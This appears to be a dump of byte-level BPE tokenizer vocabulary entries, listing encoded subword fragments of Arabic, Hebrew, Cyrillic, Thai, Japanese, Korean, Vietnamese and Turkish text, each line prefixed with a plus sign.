+ÙĤبÙĦ +оÑĤов +leÅŁtir +ĠмеÑģÑĤ +سÙĦÙħ +Ġעצ +ĠاÙĦسÙĦ +еÑĤÑĮ +ابة +нак +สà¸ĸาà¸Ļ +Ġ×ij׳ +à¸ļัà¸Ļ +׼׳ +ĠÃ¶ÄŁ +ãģ¨è¨Ģ +uyến +diÄŁ +áºŃu +ÑĢаÑģ +ãĤ·ãĥ§ãĥ³ +nız +×ķ×ĵ×Ķ +تس +ÙħاÙĦ +à¹Ģหà¸ķุ +ยว +à¸ŀัà¸ģ +ãģĦãģªãģĦ +ĠкаÑĩ +ลà¹Į +×¨×Ľ×ª +ÅŁtur +×ŀ×ķס +ãģ¥ +бол +عÙħاÙĦ +×ķרת +ÑĨион +ศึà¸ģ +à¸ı +ÑĢен +اسÙĬ +ائر +à¹Ĥà¸Ľà¸£ +Ġseç +غÙĬ +ÑįÑĤ +енн +ãģªãģ® +×Ļש×Ķ +×Ļפ×ķר +ãģŁãĤģãģ« +زة +Ġçoc +ãĤ¯ãĥª +ÑĪен +ãĤıãģij +رÙĬد +ĠÑĢаÑģÑģ +Ùĥات +สà¸Ńà¸ļ +ceÄŁi +ãĤ¿ãĤ¤ +à¸ļร +ĠاÙĦبر +׳×ķ×¢ +rün +راض +ศาส +à¸ķรà¹Į +ãģįãģŁ +×ķ׾×ĵ +еÑĢи +íĹĺ +ắp +تعÙĦ +Ùĥد +иÑĤелÑĮно +Ø·Ùģ +ĠавÑĤом +Ġ×ŀצ +ÑĪиÑħ +اتÙģ +ĠÑħоÑĤ +ÙİØ§ +ãģıãĤĭ +×Ķפ +à¹Ĥà¸Ĺ +à¹ģà¸ŀ +à¹Īà¸Ńย +ĠاÙĦÙħØ´ +à¸ģารà¸ĵà¹Į +аниз +×Ķ׾ +ظÙħ +ยุ +liÄŁ +à¹Ħà¸Ĥ +à¸ĸืà¸Ń +öz +ãģijãģ¦ +à¹Ģà¸ľ +ุม +ãĥĹãĥ¬ +Ġ×Ķ×IJ×Ĺר +ختÙĦÙģ +à¸İ +ÙĦاØŃ +Ġdüzen +צ×Ķ +ساء +×ķר×ļ +×ķ×ĵ×Ļ +ÑĢаÑĦ +ÅŁtır +ãģ«åħ¥ +ãģĪãģ° +صÙĪÙĦ +ĠÐľÐ¾Ñģ +اÙĩر +ãģ£ãģ +ĠлÑİб +×Ļ×¢×Ķ +Ġ×Ķ×ŀ×§ +สิà¸Ĺ +สิà¸Ĺà¸ĺิ +×Ļ׳×Ŀ +ÙĦاÙģ +à¸ŀัà¸Ļà¸ĺ +×ķ×IJ×Ķ +มั +à¸Ĥà¸ĵะ +доÑĢ +ãģ¨ãģª +à¸ģระà¸Ĺ +acı +×ķ׾×ķ×Ĵ +ÑĥÑĪ +ãĥ¥ãĥ¼ +ãĥ¦ +Ùħست +ĠaÅŁ +שק +פת×Ĺ +ายà¸Ļ +íĩ +ë¢ +ï· +íī +ìµ +ì¬ +ðĿĽ +ìĴ +ëĻ +ê§ +áĸ +⨠+â± +áĺ +ðĸ +àł +áĶ +ðIJŃ +ững +Å©ng +Ġ×Ķת +ĠاÙĦا +Ġ×ŀת +à¸ĸึà¸ĩ +òn +á»ĭnh +нÑĭм +Ġcả +à¸Ķู +Ġà¹ģà¸ķà¹Ī +Ġ×ij×Ķ +ói +ãģ¨ãģĹãģ¦ +úng +Ġذ +Ġ×Ķ׳ +ĠبÙĨ +ÙĦاÙĦ +à¹Ħà¸Ĺย +á»ĩp +tı +มัà¸Ļ +ằng +á»ijt +ком +à¸ĭึà¹Īà¸ĩ +à¸Ħรัà¸ļ +à¸ļà¹īาà¸Ļ +ĠاÙĦÙĬ +lü +ÙĪØ³ +ãģłãģ£ãģŁ +à¹Ģà¸ĩ +Ġê³µ +нÑĥ +ãĤĪãĤĬ +мÑĥ +à¹Ģà¸Ĥา +ãĤĢ +ние +ãģ«ãģªãĤĭ +áºŃy +ĠÙĪØ§ +볤 +ש×ķ +áp +×ĵ×ķ +ãģ§ãģĹãģŁ +عض +Ñģкой +æĦŁãģĺ +ÑİÑĤÑģÑı +Ġ×Ļ׼×ķ׾ +ãĤĵãģł +ви +à¹Ģลà¹Īà¸Ļ +ìĿ´ëĭ¤ +ĠÙĦÙĩ +à¸Ħืà¸Ń +تÙĥ +ÙħÙĥÙĨ +aģı +׳×ĵ +민 +à¹Ħว +สำห +สำหรัà¸ļ +Ñģлед +tır +ĠÙĦÙĬ +ĠاÙĦعÙħÙĦ +×ij×ķת +×ij×Ļ×Ŀ +à¸Ħำ +à¹Ģà¸Ħรืà¹Īà¸Ńà¸ĩ +lıģı +ืà¸Ńà¸ĩ +جد +íŀĪ +ìĭ¬ +×¢×ķת +สิà¸Ļ +Ñĩи +رض +à¹Ģà¸Ľà¸´à¸Ķ +à¸Ħà¹Īา +ìĦł +ÙĪØ±Ø© +×§×ĺ +ìľł +عÙħÙĦ +×IJ×Ļ×Ŀ +׾×Ļ×Ŀ +à¹ĥหà¸į +à¹ĥหà¸įà¹Ī +ừa +á»įi +ãģ¶ +ÃŃch +ãĥĩãĤ£ +×ķר×Ļ×Ŀ +Ñģо +ìķ½ +ова +ÑĩаÑģÑĤ +à¹Ģà¸Īà¹īา +пÑĢо +Ġ×ŀ×Ĺ +ãĥİ +×ķ×Ļ×ķת +Ġде +ë§Ī +ì§ģ +×Ļפ×Ķ +ĠاÙĦعاÙĦÙħ +르 +ר×IJ×Ķ +uyá»ĥn +×¢×Ļ +มืà¸Ń +Ø¥ÙĨ +รู +Ġز +×Ļ×ķ×Ŀ +à¸ķà¹īà¸Ļ +ãģ¦ãģĦãģ¾ãģĻ +ÙħاÙĨ +ĠÐ¥ +à¸Ľà¸£à¸°à¹Ģà¸Ĺศ +ỳ +׾×ij +à¹Ģà¸Ķà¹ĩ +ãģŁãģ¡ +à¸Ĺีม +à¸Ļะ +ìŰ +ĠìłĢ +ÙĦÙĩ +ợi +ĠاÙĦز +دار +ãĤ³ãĥ³ +мин +à¹ģหà¹Īà¸ĩ +à¸Ķัà¸ļ +׼ר +жа +íĸĪ +×ŀ×ĸ +ợi +à¸Ķา +Ġعبد +à¹ģร +×IJתר +×¢×ł×Ļ +à¹Ģà¸Ħ +×ķצר +ì§Ģë§Į +ائÙħ +أس +uyá»ģn +Ġ×IJ׳ +×Ĺ׳×ķ +×ĸ×Ļ +รà¹īาà¸Ļ +ĠÐłÐ¾Ñģ +ĠÐłÐ¾ÑģÑģ +ربÙĬØ© +tür +ãĤĭãģĵãģ¨ +ظر +бÑĭ +à¸Ĺีà¹Īสุà¸Ķ +Ġצר +èĩªåĪĨ +лаÑģ +ĠÑıв +ĠÑıвлÑı +à¸ŀรà¹īà¸Ńม +à¸Ńาà¸Ī +à¸ļริà¸ģาร +Ġçı +ëįĺ +ĠاÙĦÙħست +تش +ש×ķ×ij +ãĤ´ +Ġyapıl +ĠاÙĦذ +ุà¹Īม +à¸ĸà¹īา +ìĦ¤ +ì°¨ +ваÑĢ +à¹Ģà¸ŀิà¹Īม +Æ°á»Ľi +Ùĥس +à¸Ńยาà¸ģ +ãģ¦ãĤĤ +Ġгод +ÙĬار +à¸ķà¸Ńà¸Ļ +ĠигÑĢ +à¹Ħà¸Ķà¹īรัà¸ļ +ĠاÙĦÙħر +ÙĤت +Ġëĺ +ĠëĺIJ +ẩn +ãģĻãĤĭãģĵãģ¨ +×Ĵ×Ŀ +Ġ×ij×ij +تد +ÙĪØ§Ø± +ãĤ® +пол +Ġмог +ترÙĥ +ÙĪØ« +Ġçık +اة +à¹Ģà¸Ķียว +มีà¸Ħวาม +Ġ×ŀ×Ĵ +صÙģ +ĠТак +Ġ×Ľ×ª +×Ļ×ĵ×Ļ +овоÑĢ +ầy +สิà¹Īà¸ĩ +بت +ürü +ÙĨج +หลัà¸ģ +×Ļ×Ķ×Ŀ +ÙĤص +зÑĭ +×Ľ×ª×ij +ưu +mız +ĠìĦ¸ +лог +ÙħÙĬÙĦ +ÙĬج +íĴĪ +à¸ŀà¸ļ +หัว +зна +רק +à¹Ĥร +Ġ×ijס +ĠBaÅŁkan +ĠëͰ +à¸Ńัà¸Ļ +ีà¹Īยว +неÑģ +à¹Ģà¸Ķิà¸Ļ +ÙĬاÙĨ +×ķ׾×Ļ +اخت +צ×ķת +ãģĵãģĵ +ĠاÙĦاÙĨ +ĠпÑĢоÑĨ +ãģ¾ãģł +×Ľ×¡ +ĠاÙĦØ¢ +ÙĬز +ĠاÙĦدÙĪÙĦ +ĠíķĺëĤĺ +ضع +ê»ĺ +ÅĽwi +ยิ +ãģ¡ãĤĥãĤĵ +ĠÙħØ´ +à¸ĺี +ãģ¨ãģį +׳×Ļ×ķת +Ġë¯ +Ġ미 +Ġsı +ëĭĪê¹Į +Ġпл +غÙĦ +à¹ģรà¸ĩ +بÙĬر +ãģĤãĤĬãģ¾ãģĽãĤĵ +ê·¼ +Ġyüz +ĠdeÄŁer +åł´åIJĪ +ỡ +маÑĤ +ราà¸Ĭ +ÙĪØ±ÙĬ +жен +ãģ¾ãĤĬ +ãģ®ä¸Ń +×Ļ×ĵ×¢ +à¸Ńุ +à¸ļà¸Ńล +à¸Ľà¸±à¸įหา +زÙħ +ÄŁa +à¸Ńืà¹Ī +à¸Ńืà¹Īà¸Ļ +пл +ĠнеобÑħодим +׼×ij +à¹Ģศ +קר×Ķ +ì²ĺ +볨 +×ŀ×§×ķ×Ŀ +jÄħc +ÙĩÙĦ +Ġ×¢×ij×ķ×ĵ +à¹Ħมà¹ī +à¸ģลัà¸ļ +×ķ׼׾ +×§×ĵ +اÙĦÙĬØ© +رÙĩ +ãģijãĤĮãģ° +ĠÙĨÙ쨳 +ãĤ¢ãĥ« +ìĹĪëĭ¤ +×§×ķר +неÑĢ +باب +ãĤ¶ +سبب +ÙĦÙĬÙĦ +صÙĨ +صدر +ếm +à¸Ĭà¹Īวà¸ĩ +ØŃÙĨ +Ġ×ij×Ĵ +×ŀ×ķ×¢ +׾×Ĺ +大ãģį +تب +неÑĤ +×Ļ×ij×Ķ +бл +ãĥĹãĥª +اصة +ãģ¤ãģij +×Ļ×ŀ×ķש +ãģĮãģĤ +ëĭ´ +ãģĭãĤĤãģĹ +ãģĭãĤĤãģĹãĤĮ +ãģ¡ãĤī +×ij×ĺ +ĠbaÄŁ +×Ļ×Ĺס +×ij×ķ×¢ +ลี +פע×Ļ׾ +ими +gÅĤ +Ġиме +خداÙħ +×IJ×Ļר +Ġyapt +ãģ¨ãģĦ +à¸ĩà¹Īาย +׾×Ļ×ķ +ØŃدث +راÙĤ +ĠÄIJi +ادر +ãģĵãģ¨ãĤĤ +×ij×Ļר +Ġвз +ضاÙģ +ת×ķ׼ +ÑĢом +رات +à¹Ģà¸Ĺà¹Īา +ãģĺãĤĥ +ãģĿãģĵ +اجتÙħاع +à¹īà¸Ńà¸Ļ +ÙĤÙħ +본 +Äŀ +ש×Ļ×ķ +×ij׳×Ļ +ìľĦìĽIJ +à¹ģà¸Ī +×Ĺ×ķר +دÙĬÙĨØ© +تط +ằm +òa +ยà¸Ńà¸Ķ +Ġëĭ¹ +สุà¸Ĥ +×ĵר×ļ +دÙĨ +سÙĬÙĨ +ÙĪÙĤÙģ +ÑĨÑĭ +гоÑĤов +еждÑĥ +à¸ŀวà¸ģ +اÙĤتص +اÙĤتصاد +czÄĻ +niÄĻ +ÑĢеб +ØŃÙĪ +à¸Ĺà¹Į +ãĤĪãģŃ +дж +à¸ģลà¹Īาว +دÙĬØ« +ãĤ³ãĥŁ +ÙĤÙĪÙħ +ĠتØŃ +à¹Ģà¸ķิ +اÙ쨏 +à¸Īุ +رÙĬاض +×ŀש×ļ +à¹Ĥย +еÑĢе +ãģ¿ãģŁãģĦ +ìĿ´ëĿ¼ +ĠاÙĦÙħÙĪ +ĠÑģÑĤо +à¹Ģรà¹ĩว +ĠдеÑĤ +ĠÑģдел +à¹Ģà¸Ĭืà¹Īà¸Ń +פ׳×Ļ +ÙĪØ¶ÙĪØ¹ +×ijס +à¹ģà¸Ķ +óc +ริม +ÑĢад +ìĪł +ãĥ¼ãĤº +ãģ«ãģĬ +ино +פ×Ļ׾ +à¸Ĭัà¹Īà¸Ļ +×Ĺ×ĵש +à¹Ģà¸Ļืà¹Īà¸Ńà¸ĩ +׳×Ļס +غرب +ãĤ¸ãĥ£ +สัà¸ĩ +à¹Ģà¸Ĺีà¹Ī +à¹Ģà¸Ĺีà¹Īยว +ëŁ¼ +à¹ģà¸Ł +ãĥ¼ãĤ· +ãĥ¼ãĤ·ãĥ§ãĥ³ +Ġвозмож +جÙħÙĪØ¹ +×ijר×Ļ×Ŀ +ãĥĪãĥ© +ĠкаÑĩеÑģÑĤв +Ø·ÙĬ +ÑĤÑı +צ×ķ×¢ +ģını +عÙĦÙī +اذ +ÙĪØ§ÙĤع +ÙħÙĪØ§ +ائÙĬÙĦ +кол +á»ģm +à¸ľà¸¥à¸´à¸ķ +×Ļ׳×ĺר +سÙĥ +ש×Ļר +ศึà¸ģษา +à¸ļั +ÑĩаÑģ +×ķפ×Ķ +×Ļפ×ķ׾ +ĠاÙĦساب +رÙĬب +ĠاÙĦبÙĬ +ãĤ¹ãĥĨ +Ñĩен +à¹ģà¸ľ +Ġ׳ש +زÙĬد +ØŃاد +ëįĶ +رÙĪØ¹ +à¸Ĺุà¸Ļ +สมา +czeÅĦ +×Ļ×ĵ×Ķ +ãģ§ãģĤ +Ġçocuk +خب +à¸ļาย +à¸Ľà¸£à¸°à¸Ĭา +×ŀש׾ +ãģªãģĭ +à¸ģาย +ãĥģãĥ£ +аÑĢи +ĠÑĩа +à¸Ķำ +à¸Ĺัà¹Īว +ÑĥÑħ +Ġöz +Ġì¢ĭ +جرÙĬ +ائÙĤ +à¸łà¸±à¸¢ +طار +دارة +Ä©nh +Ø«ÙĨ +zellik +اÙĦت +Ġgeli +ãĥķãĤ© +олод +ربع +שת×ŀש +à¸ļรร +íĿ¬ +Ġürün +Ġê·¸ëłĩ +ศาสà¸ķรà¹Į +ãģľ +×Ļ×ij׾ +ĠпÑĢедÑģÑĤав +سطÙĬÙĨ +ãĤĴ使 +ĠпомоÑī +×ķקר +ãĥ¯ãĥ¼ +Ġyönet +×Ļקר +à¸Ĥา +еÑĢиал +ØŃÙģ +Ġ×Ļצ +à¸Ĺิ +売 +à¸Ļà¸Ńà¸ģ +×ķ׼ר +íĻľ +á»§y +ĠاÙĦÙĤر +×Ļ×ij×ķת +ÅĽni +Ùħشار +ượt +ĠÙĦدÙĬ +ÑĤел +ĠØ¥ÙĦÙĬ +عÙĦÙĪÙħ +ìķĺ +виÑĤ +à¸Ħะ +yrı +ãģ¨ãģ£ãģ¦ +à¹Ģà¸ī +à¸ĸาม +ÙĤار +عÙĦاÙħ +ặng +ÙħÙĴ +×Ļ×ŀת +سبة +ãĤ¯ãĥ© +×ķסף +ĠпÑĢин +ãģĦãĤį +ساس +عتبر +วิà¸Ĺย +วิà¸Ĺยา +سÙĥر +ãĤ·ãĥ§ +ãģģ +ัà¸ģษ +×ij×ķ×Ķ +หย +ãģ¾ãĤĮ +ĠоÑĢганиз +казал +ĠÑģвÑıз +uyết +ĠпÑĢоиз +Ġ×§×ĺ +à¹ģà¸ģà¹ī +пÑĥÑģ +Ġê·¸ê²ĥ +ëĬIJ +лекÑģ +ãĥ¼ãĥĹ +à¸ķำ +ת×Ĺ×Ļ׾ +à¸Ńà¸ĩà¸Ħà¹Į +ẵ +׳צ +أش +Ø´Ùĩ +ยะ +à¸ģà¸İ +ĠاÙĦإسÙĦاÙħ +едÑĮ +ãģ²ãģ¨ +ëıĦë¡Ŀ +ãģ©ãģ® +Ñĥв +еÑĩение +ĠاÙĦتج +ãģ«è¡Į +Ġпозв +ãĤıãĤĬ +ÙĦاث +íķĺìĺĢ +ĠмаÑĢ +ĠkonuÅŁ +ãĥ¬ãĤ¹ +ãĤĴæĮģ +ĠоÑģнов +×Ĺ×ij +ÙĪØ¬ÙĪØ¯ +פ×ķף +воÑĢ +Ġник +ãģĭãĤĭ +ÅŁtırma +×Ļס×ĺ +Ø£ÙĦ +หà¹Į +иона +лÑĮн +ĠгоÑģ +ĠÐľÐ¾Ñģк +ÑĢоб +×ķ×IJ×Ļ +ãģĬãĤĬãģ¾ãģĻ +ãģ£ãģ± +кл +à¸Ļà¸Ķà¹Į +رÙĬÙģ +اسب +ĠÑĢеÑĪ +Ġдол +ãģ¹ãģį +×Ļ×ij×ķר +меÑī +ĠнаÑĪ +à¹ģà¸Ľà¸¥ +ÑĢиÑĤ +кÑĥÑģ +иÑĢа +аÑĤÑĥÑĢ +ÙĪØ§ØµÙĦ +à¹Ģà¸ľà¸¢ +à¸Ńำ +à¹Ģà¸ģิà¸Ļ +غÙħ +ãģĻãģİ +lıkl +ÅĦsk +견 +×Ļ׼×Ķ +×Ĺש×ij +ÙĪØ±ÙĬØ© +ĠдейÑģÑĤв +×Ĺ׾×ĺ +Ġ׾×ŀ×¢ +צ׾×Ļ×Ĺ +еÑĩа +ÙģØ§Ø¹ +×Ĵ×Ļ×ĵ +áºŃm +ÄĻb +شع +ãģıãĤĬ +à¸ŀุ +едеÑĢ +à¸Ĥà¸Ļ +à¸Ħาร +ĠболÑĮÑĪ +ãģıãģªãĤĬ +à¸ĵา +×ĵ×ķ×Ĵ +Ġмн +ä¸ĬãģĮ +ç¶ļãģį +ฤษ +à¸Ĩ +Ø®ÙĬ +à¹Ģà¸Ĺà¸ŀ +สัม +à¹Ģสà¸Ļ +à¹Ģสà¸Ļà¸Ń +ãĥ´ +ĠиÑģÑĤ +باشر +ĠÑĥÑĢов +×ŀ×ķ×ĸ +abı +waż +×ķצ×IJ×Ķ +ÑĤвеÑĢ +à¸ŀัà¸Ļà¸ĺà¹Į +׳×Ĵ×ĵ +ãĤĭãģĵãģ¨ãģĮãģ§ãģį +ĠÑĤÑĢеб +à¸ģรุà¸ĩ +ØŃتاج +à¹Ģà¸Ħล +ãĨ +ÄĻtr +Ġszczeg +Ġרש +à¸Ĺà¸ĺ +Ġнек +ĠнекоÑĤоÑĢ +вÑĪ +Ь +à¹Īวย +ลุ +бÑĢÑı +หมูà¹Ī +à¹ģà¸ķà¸ģ +ר׼×Ļ×Ŀ +Ġíĸī +ãi +Ùĥرة +âŃ +íIJ +ãį +áģ +â® +⥠+ì® +à¿ +â¿ +áĤ +ᤠ+âł +íŁ +ðIJį +ðIJ° +ðĿĨ +ðŁĪ +Ġ×¢×ľ +ĠعÙĨ +ĠÙħع +Ġ×ĸ×Ķ +ĠÙħا +ĠmÃł +Ġdụ +á»ĩc +аÑħ +sı +íķĺê³ł +Ġ×ķ×ij +ĠÐŁÐ¾ +×ķתר +ĠÙĦÙħ +Ġ×ķ׾ +ãģĹãģ¦ãģĦãĤĭ +Ġ×ŀ×Ļ +ĠبÙĬÙĨ +за +ĠÙĥاÙĨ +Ġ×Ķ×Ļ×Ķ +ëħĦ +×IJ×ķ +ди +ĠпеÑĢе +dı +Ġ׾ש +Ġש×ŀ +ãģĮãģĤãĤĭ +ãģĦãģĦ +ÑĢе +×§×ķ +или +ме +ÙĬت +ãģ§ãģĤãĤĭ +Ġво +à¹ĥหม +à¹ĥหมà¹Ī +Ġש×ij +Ġà¹Ĥà¸Ķย +ÙĬÙĩ +ãģ§ãģĻãģĮ +ãģ¨ãģ¯ +ר×ķ +Ġà¸ĭึà¹Īà¸ĩ +ãģ§ãģįãĤĭ +мо +à¹Ģà¸ŀืà¹Īà¸Ń +צ×ķ +×ĺ×ķ +ìķĪ +Ġhá»į +à¹Ģà¸ĩิà¸Ļ +ĠاÙĦب +Ġมี +물 +Ñģе +ëĵ¤ìĿ´ +Ġë§IJ +ĠlỼ +aÅĤ +×Ĺ×ijר +Ġdá»± +ÙĬØ« +Ġthá»ĭ +à¸ģà¹Īà¸Ńà¸Ļ +Ġ×ij׼׾ +ãģ¸ +ã썿ĢĿãģĦãģ¾ãģĻ +ảnh +ยา +Ù쨧 +สี +à¸ķา +ë²ķ +ãĥªãĥ¼ +ราà¸Ħา +Ġ×ķ׾×IJ +ãģ¨ãģĵãĤį +à¹Ģลืà¸Ń +diÄŁi +ÙĪØ§ÙĨ +Ġ׾×Ķת +รวม +פ×Ļ×Ŀ +à¸ľà¸¡ +жи +cı +ÑĢод +ĠkarÅŁÄ± +×Ĵ×ķ +ãģ«ãģ¤ +ãģ«ãģ¤ãģĦãģ¦ +rÃł +×Ļ×ķתר +ĠìĨĮ +×§×Ķ +ÑģÑĤво +ãģijãģ© +gé +à¸Ķà¹īาà¸Ļ +çļĦãģ« +ĠÙĬÙħÙĥÙĨ +ìĨį +ÙĬÙĥ +à¹Ħวà¹ī +Ñģкий +ìm +Ġ׾×IJ×Ĺר +à¸Ńาหาร +Ġà¹Ģà¸ŀ +ราะ +ลูà¸ģ +ÑģÑĤа +Ġìľł +ÙĤÙĪÙĦ +боÑĢ +Ñģкого +หลัà¸ĩ +à¸Ĥà¹Īาว +à¹Ģมืà¸Ńà¸ĩ +ê°ģ +tÃł +ÙĬÙĬÙĨ +عرض +ë°© +ĠëıĻ +Ġà¹Ģà¸Ľ +Ġà¹Ģà¸Ľà¹ĩà¸Ļ +çi +liÄŁi +ìĹIJê²Į +ãĤ¿ãĥ¼ +Ġ×ľ×ª +פ×ķת +à¸Ĥà¸Ń +رس +ìłIJ +à¸ľà¹Īาà¸Ļ +ÑĦи +جÙĨ +ì¢ħ +Ġ×Ķפ +Ġngo +á»ĭa +Ġtá»ķ +Ġ그리 +à¹Ģมืà¹Īà¸Ń +ذÙĥر +ìĸij +ìĹŃ +×ĺ׾ +kı +ĠعÙħÙĦ +ĠعÙĨد +à¸ĭืà¹īà¸Ń +Ġê±° +ве +rü +à¹Ģà¸Ńา +สà¹Į +à¸Īà¸Ļ +סת +Ġgiả +ãĤĭãģ¨ +à¸ģำลัà¸ĩ +ней +à¸Īริ +à¸Īริà¸ĩ +Ġëį +ĠëįĶ +à¸Ħà¹Īะ +ìn +Ġsüre +Ġquy +à¸ļาà¸ĩ +åıĸãĤĬ +ר×Ĺ +×ijת +ãģĮãģĤãĤĬãģ¾ãģĻ +רש +ìĹIJëĬĶ +Ġ×IJפשר +ayı +ãģĮãĤī +ØŃب +анÑģ +سÙĪ +ĠпÑĢе +دÙĪ +ãģ«ãĤĪ +à¹Ģà¸ģม +สูà¸ĩ +makt +maktad +maktadır +Ġönem +×Ļ×ŀ×Ļ×Ŀ +бо +ÙĪÙĬØ© +à¸£à¸¹à¸Ľ +à¹Ĥลà¸ģ +ÙħÙĬع +ÑģÑĤÑĥп +à¹Ĥà¸Ń +دÙĬÙĨ +ì¤ij +ãģĹãģı +à¹Ģสีย +вÑĭ +Ùħت +íĺĦ +ãĥIJãĥ¼ +اش +קס +Ġtụ +ลà¸Ķ +Ù쨩 +íijľ +رج +kÅĤad +ĠÅŁey +ĠØ£Ùħ +Ġà¹Ģม +ĠبÙĦ +ÑģкаÑı +ãģ¨ãģ® +Ġìĭ¤ +ấm +หà¹īà¸Ńà¸ĩ +à¸Ĭม +dü +Ġçek +Ġê³ł +×Ĵ×ij +à¸Ĭีวิ +à¸Ĭีวิà¸ķ +Ù쨶ÙĦ +ฯ +çı +Ġبش +ĠÙĩÙĨا +ãģįãģ¾ãģĹãģŁ +tü +Ġìĺģ +ĠTürk +кÑĤ +פרס +ãģ¨ãģĦãģĨãģĵãģ¨ +íĶĦ +à¹ģรà¸ģ +ר×ķף +Ġaras +×ŀצ×IJ +Ġtá»ī +سا +à¸ŀà¸Ń +ĠاÙĦÙħØŃ +ãĥ¤ +ĠاÙĦاست +ÙģÙĨ +×Ļ×ŀ×Ķ +رت +ãģ¨ãĤĤ +ĠнаÑģ +пÑĢи +Ġ×Ĺ×ķ +ила +ÙĬØ´ +Ġgöz +Ġ×ij׳×Ļ +ımı +ĠÑĤеÑħ +Ġhá»Ļ +غر +кон +اØŃت +Ġà¸ŀ +à¸Ńà¸Ńà¸Ļ +à¸Ńà¸Ńà¸Ļà¹Ħล +à¸Ńà¸Ńà¸Ļà¹Ħลà¸Ļà¹Į +Ñħо +Ñıв +à¹ģสà¸Ķ +à¹ģสà¸Ķà¸ĩ +à¹Ģà¸ŀียà¸ĩ +ÑĤов +اÙĬ +Ġ×Ķ×ĵ +Ġ×ķ׼ +ãĤīãģĦ +×ķפף +Ġë¶Ī +ลà¸Ńà¸ĩ +طاÙĦ +Ġни +ĠÙħست +ếc +Ġש׼ +ĠëķĮ문 +วัà¸Ļà¸Ĺีà¹Ī +×Ļ׾×ĵ +ØŃا +еÑĨ +Ġcứ +×ĵ×ķר +ĠÙħØŃ +ר׼×ij +بÙĬع +нии +ĠاÙĦØ£ÙĪÙĦ +à¸Ħวร +ã썿ĢĿãģĨ +ĠСо +ائÙĬØ© +راء +оÑģоб +ĠبأÙĨ +×¢×ķ×ĵ +ĠÑĤе +ãģĵãģĨ +ÑģÑĤÑĢа +айн +Ġsöz +تÙĨا +à¸Ńิ +ặp +ĠìķĦëĭĪ +íķŃ +Ġר×IJש +Ġà¹Ħà¸Ķà¹ī +Ġ×Ĵ×ĵ +Ġספר +обÑīе +ĠÙĪØ¥ +adaÅŁ +ãģ¡ãĤĩ +×§×ķ׾ +ÑĢез +ĠdÃ¼ÅŁÃ¼n +Ġ×ij×IJ×ŀ +Ġìĸ´ëĸ +ער×ij +нее +ĠÑģÑĤÑĢан +ساÙĨ +ynı +ĠاÙĦرئÙĬس +ãģĹãģª +Ġ×ł×ª +ãģ«ãģªãģ£ãģŁ +gü +åıĹãģij +×ľ×ª +ìłĪ +ëĬĶëį° +Ø®ÙĬر +à¸ķà¹īà¸Ńà¸ĩà¸ģาร +ĠÙĦØ£ÙĨ +Ġchá»ĭ +ÙĪØ© +à¹ĥส +ë¶ĢíĦ° +íķĺë©´ +ữu +à¹Ģหมืà¸Ńà¸Ļ +беÑĢ +ĠìĿ´ìļ© +ĠÑģеб +wiÄĻks +Ġ×ł×¢ +ÑĤÑĥÑĢ +ĠnghÄ© +ש×ķ×ĺ +tiÄŁi +ĠdeÄŁi +×IJ×ij +Ġ×ŀ×ŀ +ãĥĹãĥŃ +waÅĤ +à¸Īึà¸ĩ +خدÙħ +×IJ×Ŀ +Ä±ÅŁÄ± +czÄħ +ר×ĵ +ĠÑĢÑĥб +خرÙī +ã쮿ĸ¹ +ĠденÑĮ +×Ĺ×Ļ×Ŀ +еÑĤе +ëĤľ +×IJ×Ĵ +×¢×ķר +ë³Ħ +åIJĮãģĺ +ãĤ² +ר×ļ +×ķש×IJ +ìľ¡ +اخ +צ×Ļ×Ķ +á»±a +ãģĪãģ¦ +ש×Ķ×ķ +анÑĤ +ลาà¸Ķ +инг +ë¡ł +اعد +ÙĪØ³Ø· +Ġвоп +ĠвопÑĢоÑģ +ÙħÙĬÙĨ +à¸Ħà¸ĩ +×Ļר×Ļ×Ŀ +ców +격 +Ġê·¸ëŁ° +Ġì§Ħ +Ġש׾×Ķ +à¹Ģริà¹Īม +à¸Ĭà¸Ńà¸ļ +деÑĤ +ÑİÑīиÑħ +à¸ļà¸Ńà¸ģ +æĢĿãģĦ +عÙĬد +ס×ŀ +×Ĵ×Ļ×¢ +צ×ĵ +بات +ĠëͰëĿ¼ +à¸Īัà¸ĩ +ãģłãģijãģ§ +×¢×Ļר +ĠÑĩел +ĠÑĩелов +ĠÑĩеловек +ãĥĥãĥģ +à¹Ģà¸ģีà¹Īยว +à¸Ķิ +Ġפע +×Ļ×ŀ×Ļ +ë°ĺ +خار +×ij×Ļת +×¢×Ļ×Ŀ +üyor +ãĤģãģ¦ +клад +Ġà¸Īาà¸ģ +à¹Ģà¸Ħย +สà¸Ńà¸ĩ +à¹ģà¸Ħà¹Ī +ẫu +หà¸Ļัà¸ĩ +ש׾×ķ×Ŀ +اÙĨÙĬØ© +åĩºä¼ļ +åĩºä¼ļãģĦ +à¸łà¸²à¸¢ +à¸ļาà¸Ĺ +à¸Ĭาว +muÅŁ +Ġ׾ק×ij׾ +ãĤ·ãĥ£ +ĠÄ°ÅŁ +×Ĵ×ĵ×ķ׾ +جعÙĦ +ë³Ģ +ยิà¹Īà¸ĩ +à¸Ļาย +à¸Ļีà¹Ī +วิà¸ĺี +ãĤīãģªãģĦ +ëłĪ +Ġë¬¸ìłľ +Ġà¸ģ +à¸Ĺำà¸ĩาà¸Ļ +à¹Ģวà¹ĩà¸ļ +ÑĦе +楽ãģĹ +สำà¸Ħ +สำà¸Ħัà¸į +رÙħ +ãģķãĤĮãģ¦ +Ġобла +ר×IJ×Ļ +หมà¸Ķ +ÙĨÙĬØ© +лин +ĠeÄŁ +itim +ëł¹ +صاÙĦ +ÅĽl +à¸ľà¸´à¸Ķ +ãĥŀãĥ³ +åħ¥ãĤĮ +à¹Ģà¸ķà¸Ńรà¹Į +ارÙĬ +ĠЦ +dür +สวย +립 +رÙĥØ© +Ġhã +×Ļת×Ķ +à¸Ĥà¸Ļา +à¸Ĥà¸Ļาà¸Ķ +à¸Īำà¸Ļ +à¸Īำà¸Ļวà¸Ļ +ש×ķ×§ +Ġдом +ì±ħ +ãģĭãģij +פ×ķ׾ +à¸Ĭาย +ÑģмоÑĤÑĢ +ÑģлÑĥж +ש×IJ׾ +кÑĢÑĭÑĤ +Ġìŀĺ +é«ĺãģĦ +ĠÑĢÑĥк +ÙĨص +дав +ưỡ +ưỡng +راÙħ +×Ļ׳×Ļ×Ŀ +ãĥ©ãĥ¼ +ëĦ¤ +Ġتع +lke +好ãģį +æĮģãģ¡ +Ġë§İ +Ġyük +ĠÑģоÑģÑĤав +енÑĤÑĢ +peÅĤ +à¹Ģà¸Ľà¸¥à¸µà¹Īย +à¹Ģà¸Ľà¸¥à¸µà¹Īยà¸Ļ +íıī 